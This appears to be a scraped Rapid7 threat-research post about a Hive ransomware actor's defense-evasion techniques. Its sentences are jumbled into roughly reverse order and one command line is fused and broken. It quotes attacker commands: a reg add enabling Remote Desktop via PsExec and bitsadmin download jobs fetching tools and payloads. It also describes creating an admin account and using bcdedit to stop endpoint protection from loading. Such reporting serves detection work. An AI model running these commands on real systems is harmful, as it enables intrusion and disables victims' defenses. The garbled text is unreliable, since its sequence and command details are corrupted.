![]() ![]() Sets various registry values to ensure the created local administrator user will automatically logon by default.Reconfigures boot configuration data ( bcdedit.exe) so that the host will not load any additional drivers or services (ie: network drivers or endpoint protection).Creates administrator account on the local system.Execute batch scripts ( file1.bat), which:. Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following: PSEXESVC.exe: C:\Windows\PSEXESVC.exe└──cmd.exe: C:\Windows\system32\cmd.exe /c ""rdp.bat" "└── reg.exe: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f This enabled the malicious actor to laterally move throughout the victim’s environment using the graphical user interface. The malicious actor then began using the remote process execution tool PSExec to execute batch files ( rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP) using reg.exe. "C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal C:\Users\Public\PsExec.exeīitsadmin /transfer debjob /download /priority normal C:\Windows\int.exe Initially using Cobalt Strike, the malicious actor retrieved system administration tools and malicious payloads by using the Background Intelligent Transfer Service ( BITSAdmin). What approach did the malicious actor take to prepare the victim's environment? In this article, we’ll explore the techniques employed by the threat actor, why they’re so effective, and how we’ve updated InsightIDR to protect against them. Rapid7 has updated existing and added new detections to InsightIDR to defend against these techniques. These extra steps would make it extremely difficult, if not impossible, for a victim to effectively use their security tools to defend endpoints after a certain point in the attack. In addition to those techniques, the actor employed a number of previously unseen techniques designed to to drop the defenses of the victim, inhibit monitoring, disable networking and allow time for the ransomware to finish encrypting files. Recently, Rapid7 observed a malicious actor performing several known techniques for distributing ransomware across many systems within a victim’s environment. One objective of this research is to discover new techniques being used in the wild, so we can develop new detection and response capabilities. Rapid7 routinely conducts research into the wide range of techniques that threat actors use to conduct malicious activity. Last updated at Sat, 20:41:34 GMT How malicious actors evade detection and disable defenses for more destructive HIVE Ransomware attacks. ![]()
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